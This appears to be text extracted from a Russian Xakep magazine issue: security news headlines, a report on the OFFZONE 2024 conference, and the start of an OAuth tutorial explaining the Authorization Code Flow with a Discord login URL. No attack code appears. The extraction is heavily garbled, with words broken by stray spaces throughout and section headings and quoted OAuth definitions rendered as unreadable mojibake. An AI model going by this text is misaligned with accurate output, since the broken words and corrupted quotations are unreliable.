Telegram будет сооб щать пра воох раните лям IP-адре са и телефо ны поль зовате лей

Опе рато ры пожало вались в ФАС на дис кри мина цию из-за замед ления YouTube

Ата ка RAMBO исполь зует ОЗУ для хищения дан ных с изо лиро ван ных машин

Влас ти лик видиро вали плат форму для зашиф рован ных ком муника ций Ghost

Клю чи YubiKey мож но кло ниро вать через слож ную side-channel-ата ку

https://www.ndr.de/fernsehen/sendungen/panorama/aktuell/Investigations-in-the-so-called-darknet-Law-enforcement-agencies-undermine-Tor-anonymisation,toreng100.html
https://xakep.ru/2024/09/20/unicorn/
https://xakep.ru/2024/09/11/tdsskiller-abuse/
https://xakep.ru/2024/09/09/spyagent-ocr/
https://xakep.ru/2024/09/16/braille-pattern-blank-void-banshee/
https://xakep.ru/2024/09/11/flipper-zero-firmware-1-0/
https://xakep.ru/2024/09/23/telegram-search/
https://xakep.ru/2024/09/20/youtube-fas-slowdown/
https://xakep.ru/2024/09/09/rambo/
https://xakep.ru/2024/09/19/ghost-down/
https://xakep.ru/2024/09/05/eucleak/
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В нашем рас поряже нии были два дня кон- 
ферен ции, око ло сот ни док ладов, пять
видов OFFZONE-пива, новый бей дж
и целое мно жес тво аддо нов всех видов
и под све ток, а так же горы мер ча, вел- 
ком-пак, кон курсы, стен ды пар тне ров
и бес плат ный кофе. Единс твен ное, что
вызыва ло у меня опа сение, — это оффко- 
ины, но я знал, что рано или поз дно мы
перей дем и на них.

ÎÁÙÈÅ ÂÏÅ×ÀÒËÅÍÈß

Же лан ный ком форт и сов ремен ный вид бан кетно го лофт-прос транс тва
GOELRO прош лого года сме нились на совет ский анту раж куль тур ного цен тра
ЗИЛ, в котором и сос тоялась пятая — юби лей ная — кон ферен ция по прак- 
тичес кой кибер безопас ности OFFZONE. На два дня, 22 и 23 августа, тер- 
риторию пер вого и луч шего двор ца куль туры сто лицы, работа юще го аж
с 1937 года, навод нили более 4000 посети телей, сре ди которых были IT-спе- 
циалис ты всех мас тей: раз работ чики, тес тиров щики, безопас ники, незави- 
симые иссле дова тели и, разуме ется, хакеры.

Эти под писи вооб ще кто-то чита ет?

На стой ке регис тра ции все учас тни ки вмес те с новым имен ным бей джем
получа ли по стар товому набору, в котором были сти керы, тет радь со спра- 
воч ной информа цией, некото рые дру гие при ятные мелочи и бутыл ка пить- 
евой воды, что весь ма пре дус мотри тель но. В тет ради — бланк для учас тия
в при ветс твен ном квес те: сбор семи печатей на стен дах пар тне ров за выпол- 
нение прос тых заданий, что в ито ге поз воляло получить пер вые оффко ины
у волон тера в зоне .CUB_3

Глав ный арте факт кон ферен ции — CUB_3

Бей дж, часть при ветс твен ного набора, сти керы

Зна ки. Они пов сюду

Ста рое зда ние совет ской эпо хи изнутри при обре ло чер ты, атмосфе ру и нас- 
тро ение то ли игры Atomic Heart, то ли пол ного неона и тех нологий кибер- 
панка. В любом слу чае уни каль ные и яркие стен ды пар тне ров прив лекали
боль шое количес тво энту зиас тов, давая шанс узнать что-то новое, весело
про вес ти вре мя за голово лом ками, выиг рать цен ные при зы и даже получить
работу. Без вызовов так же дело не обош лось: в коридо рах зда ния было душ-
но, мно гочис ленные перехо ды и лес тни цы ассо цииро вались с эда ким
лабирин том, в котором без тру да мож но было заб лудить ся, да и со связью
на пер вых двух эта жах было неп росто.

С удив лени ем для себя и уже пос ле кон ферен ции я узнал, как мож но было
попасть на чет вертый этаж зда ния, где рас полага лись AI.Zone и Threat.Zone.
Кар та зда ния с обоз начен ными локаци ями при сутс тво вала, но на деле заб- 
рести в тупик было лег ко даже с ней перед гла зами. Ука зате ли с наз вани ями
зон тоже име лись, но мог ли нап равлять пут ника в глу хую сте ну или про ход
в тех ничес кие помеще ния, так что на про тяже нии все го пер вого дня учас тни- 
ки кон ферен ции изу чали план мес тнос ти и запоми нали, где рас положе ны
инте ресу ющие их зоны и активнос ти.

Ки бер панк-стенд Positive Technologies

Стенд HeadHunter

Стенд Kaspersky

«Сбер» выгод но отли чил ся свет лыми тонами сво его стен да

Ле ген дарный бот-дос тавщик собс твен ной пер соной

Сте на с моза икой из фотог рафий отважных посети телей кон ферен ции

Сен саци онный матери ал: образцы тех самых фотог рафий, фор миру -
ющих моза ику

Умес тно пред положить, что чем выше был этаж, тем мень ше было людей
в рас положен ных на них зонах. Чес тно говоря, бегать по эта жам в такой
духоте хотелось мень ше все го, осо бен но учи тывая плот ность док ладов
и огра ничен ные про межут ки вре мени меж ду ними. Погода тоже дик товала
свои усло вия, давая лиш ний повод общать ся и отды хать на све жем воз духе,
чем мно гие и занима лись.

Фуд-корт и зона активнос тей на ули це

Од но из раз вле чений пер вого дня — это родео на механи чес ком быке
в сочета нии с дегус таци ей пяти сор тов фир менно го пива. Ком биниро вать
ник то не зас тавля ет, но так получа ется веселее все го. Кста ти, родео не прос- 
тое: раз горячен ному всад нику парал лель но еще зада ют тех ничес кие воп- 
росы, на которые нуж но быс тро отве чать. Не знаю, выдава лись ли за это
оффко ины, но веселья и без них было через край.

Оче ред ной смель чак пыта ется под чинить сво ей воле механи чес кого ско -
та

Не пода леку рас положил ся фуд-корт, где мож но было под кре пить ся воком
и испить бод рящего кофе. Чуть даль ше, где-то в области кус тов и деревь ев,
мож но было обна ружить зону отды ха, которую заняли бывалые учас тни ки
сооб щес тва, иног да с демонс тра цией навыков вокала и все теми же пятью
видами пен ного. Позитив но, душев но, дру желюб но!

Craft.Zone давала воз можность уве рен но взять в руки паяль ник и начать тво- 
рить чудеса. Под чудеса ми под разуме вались кас томизи рован ные аддо ны
для бей джа, которые учас тни ки кле пали сами, иног да при бегая к помощи
нас тавни ков.

Зас тал твор ца за работой с мел кими деталя ми

Здесь же, как было заяв лено, мож но было предъ явить свои прош логод ние
бей джи и получить за это уни каль ные аддо ны. Некото рые забира ли в одни
руки по нес коль ко штук, так что запасы аддо нов иссякли момен таль но и боль- 
ше не возоб новля лись.

Tattoo.Zone в оче ред ной раз ста вит рекорд по сде лан ным во вре мя кон- 
ферен ции тату иров кам: все го сот ворено 57 шедев ров, 25 из которых —
с логоти пом. Что это зна чит? Что обла дате ли тату иро вок с логоти пом
OFFZONE про ходят на сле дующие мероп риятия бес плат но, так же получая
про ход ку на вечерин ку для спи керов.

Ки бер панк-комикс Kaspersky для всех жела ющих

What the hack, Pentestan? — акту аль ные воп росы в Game.Zone

Game.Zone — рай для гей меров или жела ющих прос то почилить. Впро чем,
и тут тоже был азарт и кон курсы.

С отды хом и активнос тями, думаю, все понят но. Что с док ладами?

Па уза меж ду док ладами в зале Main track

На два дня кон ферен ции приш лось 98 док ладов, которые читали 124 спи кера.
Я порой отго нял от себя мысль, что кто-то абь юзит механи ку выс тупле ний
ради про хода на зак рытую вечерин ку для спи керов.

Клю чевым выс тупа ющим юби лей ного OFFZONE стал глав ный спе циалист
«Лабора тории Кас пер ско го» Сер гей Голова нов, под готовив ший док лад
с интри гующим наз вани ем «Корень зла». Голова нов поведал слу шате лям
о при чинах и эво люции инци ден тов в сфе ре инфо беза за пос ледние два
десят ка лет. Все зап ланиро ван ные выс тупле ния тра дици онно делились
по нап равле ниям: Main track, Fast track, Threat.Zone, AppSec.Zone,
AntiFraud.Zone, AI.Zone, CTF track и Community track.

По лупус той зал Main track

Вы бор пло щад ки наложил свой отпе чаток и здесь. Часть док ладов основно го
тре ка про ходи ла при полупус том зале, в то вре мя как AppSec.Zone с тру дом
вме щала в себя всех жела ющих на нес коль ких док ладах. Так же ширина зала
и колон ны в AppSec.Zone порой не поз воляли уви деть выс тупа юще го.

Док лад в AppSec.Zone

Зал, отве ден ный под AntiFraud.Zone и Fast track, напоми нал неболь шую ауди-
торию учеб ного заведе ния как по внеш нему виду, так и по царящей в нем
атмосфе ре. Док лады читались, пуб лика вни мала муд рости спи керов.

Продолжение статьи →

https://t.me/fearisbigbusiness
https://offzone.moscow/cub-3/
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BI.ZONE BUG BOUNTY

Ра зуме ется, мно го говори ли и про баг баун ти: под вели ито ги года плат формы
BI.ZONE Bug Bounty, обсу дили основные тен денции на рос сий ском рын ке ББ,
осо бен ности работы баг ханте ров и ряд дру гих, не менее важ ных воп росов.
Из при меча тель ного: отме чен рост на 112% чис ла ком паний на пло щад ке
BI.ZONE Bug Bounty и на 58% количес тва прог рамм за про шед ший год.

Зо на BI.ZONE

За сек лидера MCG, успевше го налутать все, что не было при бито гвоз -
дями. Хва лю!

На мероп риятии работал яркий стенд BI.ZONE Bug Bounty, воз глав ляемый
Андре ем Лев киным. Все жела ющие мог ли побороть ся за мерч, поп робовать
баг баун ти-мар мелад и кис лород ные кок тей ли, про являя активность и решая
задачи. Вишен ка на тор те — экс клю зив ная ачив ка OFFZONE
2024 в обновлен ном, дер зком хай-тек-дизай не, которая выдава лась зарегис- 
три рован ным на плат форме баг ханте рам, дос таточ но было ска зать свой ник
или показать про филь со смар тфо на. Раз уж речь заш ла о дер зком
хай-тек-дизай не, то не могу не упо мянуть обновлен ный дизайн всей пло щад- 
ки  — получи лось кру то, это боль шой шаг впе ред.BI.ZONE Bug Bounty

Зо на BI.ZONE и BI.ZONE Bug Bounty

Ли дер VK BB решитель но под вел ито ги BUG$ ZONE 2.0

Под занавес вто рого дня в зале AppSec.Zone сос тоялась церемо ния наг- 
ражде ния самых активных и про дук тивных баг ханте ров пло щад ки. От сво их
и для сво их, так ска зать. Было мно го шуток, гром ких апло дис ментов, впе чат- 
ляющих резуль татов работы кол лег и, конеч но, наг ражде ний. А открыл
это дей ство извес тный в наших кру гах Black Fan в катего рии «Мамина
радость». В общем, было весело! :)

ÌÅÐ×, ÎÔÔÊÎÈÍÛ È OFFSTORE

INFO

Оф фко ин — игро вая валюта кон ферен ции.
Оффко ины мож но получить за выпол нение
заданий, а затем обме нять в магази не OFFSTORE
на приг лянув ший ся мерч.

На OFFZONE дела ется оче вид ная став ка на мерч, который мож но либо купить
за руб ли, либо обме нять на оффко ины, либо выиг рать в кон курсах. Мер ча
мно го, жела ющих его купить, выиг рать или обме нять еще боль ше. Так мы
под ходим к одной оче вид ной проб леме: мерч быс тро кон чался и не вос- 
полнял ся ни через нес коль ко часов, ни даже на вто рой день OFFZONE.

Об разцы мер ча OFFZONE 2024

Все воз можные стра тегии заполу чить мерч тоже не всег да ока зыва лись
успешны ми, что вызыва ло кри тику учас тни ков. Самый прос той сце нарий —
отсто ять оче редь в OFFSTORE — по фак ту для некото рых обо рачи вал ся тем,
что, про ведя в ней нес коль ко часов, они узна вали, что нуж ного товара боль ше
нет и на выбор толь ко остатки. А на вто рой день рас купили и их.

Пус той OFFSTORE пос ле полуто ра дней неп рерыв ного натис ка

В самом жес тком про лете были те бедола ги, которые хотели пер вый день
пот ратить на выпол нение кон кур сных заданий и накоп ление оффко инов, а на
вто рой день уже тра тить валюту кон ферен ции в OFFSTORE и на стен дах пар- 
тне ров. Был и дру гой нюанс, выз вавший непони мание учас тни ков: за выпол- 
нение некото рых кон кур сных заданий в пер вые часы мероп риятия начис ляли
слиш ком мно го оффко инов, а потом наг рада за те же задания была в нес- 
коль ко раз мень ше. Таким обра зом, кому-то прос то повез ло удач но обо- 
гатить ся и залутать в магази не самые ходовые позиции. Воз можно, даже что- 
бы потом про дать — такое уже бывало в прош лые разы.

На чало оче реди в магазин, пер вый день OFFZONE 2024

Но все это одновре мен но и ком пли мент самому мер чу — раз сме ли боль- 
ше 3500 еди ниц, зна чит, при шел ся по вку су. И боль шое спа сибо волон терам,
которые смог ли выдер жать два дня такого натис ка. Вы молод цы!

ÑÎÎÁÙÅÑÒÂÎ

Ак тивнос ти и атмосфе ра на OFFZONE тес но свя заны с сооб щес твом в самом
широком смыс ле это го сло ва. При меча тель но, что имен но на это мероп- 
риятие выбира ются даже те, кто не осо бен но любит появ лять ся на пуб лике
и кого на дру гих кон ферен циях не зас тать.

Server is down, поэто му мож но тусить на OFFZONE

Иль дар и Карина, «Хлеб и „Рама“»

Это див ное соз дание очень мило улыб нулось в камеру :)

Зо на сооб щес тва — Community.Zone — находи лась на треть ем эта же
и потому была нес коль ко отде лена от осталь ных. Кому-то отно ситель ная
тишина и покой приш лись по вку су, кто-то, нап ротив, чувс тво вал, что кон- 
ферен ция про ходит где-то рядом, но отдель но. Так или ина че, это не
помеша ло ведущим и док ладчи кам этой зоны отра ботать на 100%. Там же,
кста ти, рас полагал ся и стенд «Хакера», на котором под писчи ков и гос тей кон- 
ферен ции радуш но встре чал Дмит рий Ага рунов с его помощ ницами и спе- 
циаль но выб равший ся из Петер бурга ведущий редак тор Вален тин Хол- 
могоров.

Вол нующий момент раз дачи стиль ных сти кер паков

Ва лен тин Хол могоров и Дмит рий Ага рунов

В гла зах чита ется мысль: счастье так близ ко!

На стен де канала « » в пер вый день за счи таные часы раз летелись
все экс клю зив ные и бес плат ные фут болки. По изна чаль ной задум ке их
собира лись раз давать за репост записи с канала, но в ито ге, как я понял, раз- 
давали по прин ципу «кто пер вый встал, того и тап ки». Любите ли мер ча не зас- 
тавили себя дол го уго вари вать, опус тошив запасы в рекор дные сро ки.

Баг хантер

Зо ну сооб щес тва так же пред став ляли: лок пик от энту зиас тов канала
, ,  и  с задача ми, взор- 

вавши ми мно гим мозг. Талис ман SPbCTF — Ыж — не толь ко при сутс тво вал
и на этой кон ферен ции, но и бро сал вызов смель чакам, воз награж дая самых
упор ных и сооб разитель ных оффко ина ми, экс клю зив ным аддо ном и мер чем.

@autopsy_wt OSINT Village Mobile AppSec World SPbCTF

Муж чины готовят ся к бит ве с ИИ

Суть сво дилась к тому, что бы поп робовать свои силы в про тивос тоянии ней- 
рон ке, усколь знуть от бди тель ного ока Ыжа и вооб ще под менить свою лич- 
ность. Кру то? Кру то!

В суете про исхо дяще го видел, как один боец делал себе боевой рас крас
на лице в виде рос сий ско го три коло ра с помощью спе циаль ных кра сок. Как я
потом узнал, это ему помог ло.

Ыж strikes back!

За печат лел прек расное: лидер и талис ман SPbCTF на одной фотог -
рафии

OFFZONE BB & PENTEST PARTY 2024

По жалуй, луч шего завер шения двух дней кон ферен ции, чем OFFZONE BB &
Pentest Party 2024, быть прос то не мог ло. Умель цы из VK и CICADA8 орга низо- 
вали при ват ную вечерин ку в уют ном лоф те Ratusha Hall, что рас положен
непода леку от куль тур ного цен тра ЗИЛ. Огромное количес тво закусок и море
раз нооб разных напит ков на любой вкус, прек расно под ходящий к атмосфе ре
вечерин ки хип-хоп от эле ган тно го дид жея Stasy J, кон курсы и раз дача сувени- 
ров, мно го обще ния в дру жес кой атмосфе ре и даже кол лектив ное исполне- 
ние «Все идет по пла ну» в кара оке под клу бы дыма мно гочис ленных каль янов.

Се режа @poxek опять пытал ся спря тать ся, но не успел

Ус пели пофило софс тво вать с новым комь юни ти-менед жером BI.ZONE Иль ей
Понома ревым на тему прош лого и нас тояще го в реалиях ИБ-сооб щес тва,
обсу дить со ста рыми друзь ями пла ны на бли жай шее будущее, пос меять ся
и обме нять ся мне ниями о двух днях OFFZONE. Разуме ется, еда и напит ки
тоже не оста лись без нашего прис таль ного вни мания.

Ес ли кто-то из при шед ших ску чал по живому обще нию, то он точ но получил
то, за чем при шел. Спа сибо орга низа торам и за вечерин ку, и за приг- 
лашение. Вечер однознач но удал ся, завер шившись на позитив ной ноте.

Со сце ны спра ва зву чит гла гол, вос пла меня ющий сер дца баг ханте ров,
пуб лика апло диру ет стоя

ÀÓÒÐÎ

Свое мес то в исто рии эта кон ферен ция однознач но заняла, еще раз соб рав
под одной кры шей такую раз нооб разную ИБ-тусов ку и сде лав это в сво ем,
мак сималь но нефор маль ном сти ле. Для орга низа торов кон ферен ция
по прак тичес кой кибер безопас ности OFFZONE — год интенсив ной работы,
а для нас — два дня отды ха, обще ния и хороше го нас тро ения. Пар тне ры
и активные учас тни ки мероп риятия так же внес ли свой боль шой вклад и в
орга низа цию, и в атмосфе ру кон ферен ции. Спа сибо вам за про делан ную
работу и пот рачен ные силы.

При ятно осоз навать, что сооб щес тво выходит из ана биоза пос ледних лет,
объ еди няет ся и пересо бира ется заново в качес твен но луч шем виде
для новых экспе римен тов и ярких начина ний. Как  не так дав но Алек- 
сан дра Анти пина, сооб щес тво перес тает быть ток сичным внут ри и сна ружи,
избавля ясь от оши бок прош лого.

за мети ла

Кон цепту аль ная инстал ляция

Не сом нева юсь, что обратная связь будет про рабо тана и через год мы вновь
встре тим ся на уже шес том по сче ту OFFZONE. Ну а пока, если ты упус тил воз- 
можность дать орга низа торам свою обратную связь, то сде лать это мож но
по спе циаль ной . Заод но не забудь пос мотреть  и уже
под готов ленные  — порадуй себя инте рес ными матери ала- 
ми и при ятны ми вос помина ниями.

ссыл ке фо тог рафии
за писи док ладов

https://bugbounty.bi.zone/
https://t.me/bughunter_circuit
https://t.me/autopsy_wt
https://t.me/osint_mindset
https://t.me/mobile_appsec_world
https://t.me/spbctf
https://t.me/in51d3/6721
https://bi.zone/new-feedback/offzone-2024/
https://vk.com/albums-172362100
https://t.me/offzone_moscow/1139
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Ни какой сайт в сов ремен ном вебе не обхо- 
дит ся без фор мы авто риза ции, а под ней ты
час то видишь кноп ки вхо да через соц сети.
Работа ют они бла года ря про токо лу OAuth,
с устрой ством и основны ми уяз вимос тями
которо го я поз наком лю тебя в этой статье.
Для зак репле ния зна ний прой дем нес коль-
ко лабора тор ных работ.

Ду маю, не нуж но объ яснять, что такое аутен тифика ция на сай те. Если ты
хочешь искать работу, офор млять заказы в интерне те или поль зовать ся
государс твен ными услу гами, тебя поп росят под твер дить, что имен но ты вла- 
делец акка унта. И даже ког да это не осо бен но нуж но, раз работ чики все рав но
зас тавят тебя авто ризо вать ся — прос то что бы было удоб нее собирать о тебе
дан ные. Но статья не об этич ности, поэто му перей дем к самой теме.

Что бы каж дый раз не при ходи лось вби вать свою элек трон ную поч ту,
дожидать ся при хода на нее сооб щения с кодом или ссыл кой для под твержде- 
ния акка унта и при думы вать слож ный пароль, дос таточ но однажды зарегис- 
три ровать ся на одном из мегапо пуляр ных сай тов и вхо дить под соз данной
учет ной записью на осталь ных.

Та кая тех нология есть, она дав но извес тна и называ ется OAuth. Имен но ее
исполь зуют соц сети и про чие круп ные сер висы, ког да пред лага ют авто ризо- 
вать ся через них.

Стра ница вхо да в AliExpress

Этот метод вхо да стал нас толь ко обы ден ным, что мно гие не задумы вают ся
о том, как он устро ен, — а зря, ведь дьявол, как извес тно, кро ется как раз
в деталях. Мелочей здесь нас толь ко мно го, что приш лось раз делить гигант- 
ский матери ал по этой теме на три час ти.

В этой и сле дующих стать ях мы пошаго во раз берем, как работа ют тех- 
нологии OAuth и OpenID Connect, в чем отли чия раз ных вер сий про токо лов
и какие рис ки несут эти тех нологии при неп равиль ной реали зации. Мы так же
обя затель но прой дем лабора тории PortSwigger, что бы научить ся экс плу ати- 
ровать уяз вимос ти на прак тике.

Нач нем с базовых атак на OAuth.

×ÒÎ ÒÀÊÎÅ OAUTH È ÊÀÊ ÎÍ ÏÎßÂÈËÑß

На неофи циаль ном сай те Ааро на Парец кого (Aaron Parecki), который собира- 
ет информа цию об OAuth,  крат кое, прос тое, емкое и доволь но
понят ное опре деле ние:

при веде но

« »
OAuth 2.0 — ýòî ñïî ñîá àâòî ðèçà öèè, ñ ïîìîùüþ êîòîðî ãî ïîëü- 
çîâàòå ëè ìîãóò ïðå äîñ òàâëÿòü âåá�ñàé òàì èëè ïðè ëîæå íèÿì äîñ òóï
ê ñâî åé èíôîðìà öèè, íå ïåðåäà âàÿ ïàðîëè.

Не надо вво дить ничего лиш него: нажал кноп ку, выдал сог ласие — и у при- 
ложе ния тут же ока зались твои дан ные. В сов ремен ном вебе OAuth под- 
держи вает прак тичес ки каж дый круп ный сайт, и дей стви тель но мно гие поль- 
зовате ли выбира ют его вмес то клас сичес ких механиз мов.

Сам про токол сущес тву ет уже дав но. Идея соз дания OAuth воз никла
во вре мя раз работ ки Twitter OpenID (не сто ит путать с OpenID Connect),
в нояб ре 2007 года, ког да ком пания соз давала интегра цию с Ma.gnolia.
Это канув ший в Лету соци аль ный сер вис зак ладок, где люди мог ли делить ся
сох ранен ными ссыл ками на сай ты.

Сайт Ma.gnolia

Целью интегра ции Twitter и Ma.gnolia было дать воз можность Ma.gnolia
исполь зовать вид жеты информа цион ной панели Twitter. Блейн Кук, на то вре- 
мя ведущий раз работ чик в Twitter, заметил, что откры того механиз ма, который
делеги ровал бы дос туп к API, прос то не сущес тву ет.

На тот момент уже были похожие решения, о которых ты, навер ное, мог
и не слы шать: AuthSub (Google), BBAuth (Yahoo), OpenAuth (AOL), Windows Live
ID Web Authentication (Microsoft) и Facebook Auth (Meta). Но они были проп- 
риетар ными и потому не годились. Еще более древ ние методы вро де
переда чи паролей небезо пас ны и неудоб ны для таких сце нари ев. OAuth был
пред ложен как решение этой проб лемы.

Схе ма работы OAuth на условном при мере

Вот как лаконич но опи сыва ют OAuth раз работ чики Джон Пан зер и Эран Хам- 
мер-Лахав, которые учас тво вали в соз дании откры той спе цифи кации:

«

»

OAuth — ýòî ñâî åãî ðîäà êëþ÷ äîñ òóïà êî âñåì âàøèì âåá�ñåð âèñàì.
Êëþ÷ ïàð êîâùè êà ïîç âîëÿ åò âàì äàòü ïàð êîâùè êó âîç ìîæíîñòü ïðè- 
ïàð êîâàòü âàø àâòî ìîáèëü, íî íå äàåò åìó âîç ìîæíîñ òè ïîïàñòü
â áàãàæ íèê, ïðî åõàòü áîëåå äâóõ ìèëü èëè îãðà íè÷èòü îáî ðîòû âàøåãî
äîðîãî ãî íåìåö êîãî àâòî ìîáè ëÿ. Òî÷ íî òàê æå êëþ÷ OAuth ïîç âîëÿ åò
âàì äàòü âåá�àãåí òó âîç ìîæíîñòü ïðî âåðÿòü âàøó âåá�ïî÷ òó, íî 
âîç ìîæíîñòü ïðèò âîðÿòü ñÿ âàìè è îòïðàâ ëÿòü ïî÷ òó âñåì çíà êîìûì
èç âàøåé àäðåñíîé êíè ãè.

не

Фи наль ный вари ант реали зации вер сии OAuth 1.0 был утвер жден 4 декаб- 
ря 2007 года (анонс мож но най ти в ), а уже в 2008 году этот про- 
токол под держал у себя Google, и ауди тория про токо ла начала рас ти
в геомет ричес кой прог рессии. К 2010 году Twitter зас тавил все сто рон ние
при ложе ния исполь зовать свою реали зацию OAuth 1.0.

веб-архи ве

Но за год до это го события, в 2009 году, была  ата ка с фик- 
саци ей сес сии, поз воляв шая зло умыш ленни кам получать дос туп к чужим
ресур сам. В резуль тате это го ауди та была раз работа на нем ного улуч шенная
вер сия про токо ла — OAuth 1.0a, в которой добави ли парамет ры

 и  для защиты от таких атак.

об наруже на

oauth_callback oauth_verifier
Од нако это не решило осталь ные проб лемы OAuth 1.0 — небезо пас ность

и неудобс тво исполь зования. Раз работ чики жалова лись, что пер вый OAuth
тре бовал слиш ком боль ших крип тогра фичес ких вычис лений на сто роне кли-
ента — зап росы нуж но было под писывать с помощью HMAC. Мно гим такая
крип тогра фия сры вала сро ки раз работ ки и серь езно усложня ла тес тирова- 
ние.

За три года с момен та зарож дения пер вой вер сии про токо ла раз работ- 
чики при дума ли более прос тое на уров не реали зации, но более совер- 
шенное фун кци ональ но решение, которое прив носило мно го новов ведений
и которое ста ли называть OAuth 2.0. Этот про токол появил ся в 2010 году,
а его пос ледняя вер сия, в качес тве RFC 6749, была опуб ликова на
в октябре 2012 года.

Продолжение статьи →

https://oauth.net/
https://web.archive.org/web/20071011151041/http://www.hueniverse.com/hueniverse/2007/09/explaining-oaut.html
http://oauth.net/advisories/2009-1
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Что бы было понят нее, давай исполь зовать реаль ный при мер. OAuth под- 
держи вает нес коль ко Flow, или «потоков», которые опре деля ют, как имен но
про исхо дит обмен информа цией меж ду кли ентом, ресур сным сер вером
и сер вером авто риза ции (с эти ми поняти ями мы поз накомим ся нем ного поз- 
же), и самый исполь зуемый в сов ремен ном вебе на дес ктоп ных сай тах —
это Authorization Code Flow. С него и нач нем.

Су щес тву ет извес тный сайт , который поз воля ет соз- 
давать изоб ражения с помощью генера тив ной ней росети.

legacy.midjourney.com

Что бы поль зовать ся его фун кци ями и иметь воз можность соз давать кар- 
тинки, надо вой ти в свой акка унт, а модель авто риза ции пос тро ена как раз
с помощью тех нологии OAuth.

В OAuth есть четыре сущ ности:
 — под ресур сом под разуме- 

вают ся раз личные дан ные поль зовате ля, это может быть поч та, номер
телефо на, имя, ник нейм и так далее. Вла делец ресур са — тот поль- 
зователь, который вла деет эти ми дан ными;

• Resource Owner (âëà äåëåö ðåñóð ñà)

 или  — само при ложе ние,

которое тре бует дос туп к ресур сам поль зовате ля. В нашем при мере
это сер вис Midjourney, который хочет получить наш юзер нейм, ава тар ку
и адрес элек трон ной поч ты, на что тре бует ся сог ласие от нас;

• Application (ïðè ëîæå íèå) Client (êëè åíò)

 — сер вер, который

выда ет OAuth-токены кли енту пос ле сог ласия вла дель ца ресур са. На сай те
Midjourney в качес тве авто риза цион ного сер виса выс тупа ют Discord
и Gmail;

• Authorization Server (àâòî ðèçà öèîí íûé ñåð âåð)

 — это сайт, где хра нят ся поч та,

номер телефо на, имя поль зовате ля и дру гие дан ные, которые хочет
получить кли ент. Мы будем вхо дить через Discord (на котором мы уже
зарегис три рова лись ког да-то), а зна чит, Discord и будет выс тупать
в качес тве это го сер вера.

• Resource Server (ñåð âåð ðåñóð ñîâ)

Схе матич но Authorization Code Flow в OAuth выг лядит сле дующим обра зом.

Схе матич ное изоб ражение Authorization Code Flow

Ког да я опи сывал сер вер авто риза ции и сер вер ресур сов, ты мог заметить,
что в нашем при мере это в обо их слу чаях Discord. Здесь сто ит отме тить, что
дей стви тель но в качес тве этих сер веров очень час то выс тупа ют одни и те же
сер висы, но с раз ными эндпо инта ми.

Это отлично показы вает схе ма из докумен тации Microsoft.

Аль тер натив ная схе ма от Microsoft

Пу гать ся оби лию информа ции не сто ит, мы раз берем каж дый из пун ктов
по поряд ку.

Authorization Request
Пер вый этап называ ется Authorization Request — зап рос на авто риза цию.
1. Поль зовать нажима ет на кноп ку Sign In на глав ной стра нице сай та, что бы

вой ти.
2. Сайт показы вает поп-ап с выбором соци аль ной сети, через которую поль- 

зователь хочет вой ти.

Вход на сайт Midjourney

3. Мы выбира ем Continue with Discord, при ложе ние Midjourney генери рует
ссыл ку на Discord и редирек тит нас по ней. Там мы встре чаем фор му
с прось бой вой ти в свой акка унт.

Стра ница вхо да в Discord

При этом URL, по которо му мы переш ли, — это не сырая ссыл ка на вход, вро- 
де . Она осо бен на тем, что содер жит мно жес тво парамет ров, которые
были сге нери рова ны при ложе нием, и выг лядит сле дующим обра зом:

/login

<https://discord.com/login>
?redirect_to=/oauth2/authorize 
?response_type=code 
&client_id=936929561302675456 
&redirect_uri=https://www.midjourney.com/__/auth/handler 
&state=AMbdmDkycu0e3INVMzD9TaBJsUz4DqLki0MEElniTdiomtU7ejHQwa-
zsdFLI3lv11Dlz0syNqa-sQ_fO9vwS_buX5sfKH_
JjP1GJfgq8P0yzkAwTKOFRgZgp1Trz61FhuNd99rep6mYA_
0NZniAmHeU31AHLer3ENc9UYhlPv3F0d10TtqAo3jrHFTDnzmWBoryBJbuP1dHH7fmo-
UKkqedWNxmSNnOqOIE2erMiwibVnP3bhpWZKH-
ka0UB6FesAGOGyaNKZG1KY92X8Rai5ceovEDCRId9vW2q_
GLwVTixPua1vD1ChLxPi7QgIiRQCk 
&scope=identify email guilds.join guilds.members.read role_
connections.write 
&context_uri=https://www.midjourney.com 

Раз берем каж дый из парамет ров:
 — слу чай ное зна чение, которое генери рует Discord или любой

дру гой сер вер авто риза ции. Этот ID выда ется сай ту, в дан ном слу чае
Midjourney. Для каж дого из сер висов-кли ентов это зна чение уни каль но.
Оно нуж но для того, что бы Discord понимал, что за при ложе ние зап- 
рашива ет дан ные его поль зовате ля, то есть для иден тифика ции;

• client_id

 — URI, на который Discord дол жен перенап равить поль- 
зовате ля пос ле успешной авто риза ции. В дан ном слу чае он дол жен вер- 
нуть его обратно на сайт Midjourney. Нес коль ко уяз вимос тей завяза но
на неп равиль ной обра бот ке это го парамет ра, их мы рас смот рим поз же;

• redirect_uri

 — уни каль ное зна чение, которое генери рует ся на каж дую сес сию
авто риза ции, что бы защитить ся от CSRF-атак. В одной из лабора торий мы
тоже научим ся их экс плу ати ровать для кра жи чужого акка унта;

• state

 — если OAuth — это про токол авто риза ции, то параметр
 говорит о том, какой флоу это го про токо ла будет исполь- 

зовать ся: их нес коль ко, и они нем ного отли чают ся друг от дру га. Сей час
при ложе ние под став ляет сюда зна чение , но тут так же может быть

 или ;

• response_type

response_type

code

token id token

 — это те дан ные или эндпо инты, на которые кли ент ское при ложе- 
ние Midjourney хочет получить у сер вера ресур сов дос туп.

• scope

В дан ном слу чае парамет ры сле дующие:
 откры вает при ложе нию воз можность обра щать ся к эндпо инту 

 Discord, что бы получить информа цию о поль зовате ле, но без
email;

• identify /

users/@me

 — добав ляет сог ласие на выдачу email. Пре дыду щий эндпо инт
теперь будет воз вра щать и его тоже;

• email

 — нужен, что бы кли ент мог обра щать ся к эндпо инту 
, который воз вра щает имя поль зовате ля, его ID, бан нер

и дру гие парамет ры.

• guilds /users/

@me/guilds

По мимо ,  и , есть и дру гие атри буты для парамет ра

, c ними мож но озна комить ся в .

identify email guids
scope до кумен тации Discord

Consent Screen è Authorization Response
Пос ле того как мы вош ли, нас встре чает экран-уве дом ление, который
называ ется Consent Screen. В нем говорит ся о том, что кли ент Midjourney
хочет получить дос туп к дан ным о нас.

Стра ница Consent Screen в Discord

По рой некото рые поля авто риза цион ный сер вер дела ет опци ональ ными
и поль зователь может уби рать дан ные, которые будут переда ны. У Яндекса
есть хороший при мер.

Стра ница Consent Screen в Яндексе

Даль ше есть две кноп ки: отка зать ся от пре дос тавле ния дос тупа или сог- 
ласить ся. Если поль зователь сог лаша ется, то сайт редирек тит его обратно
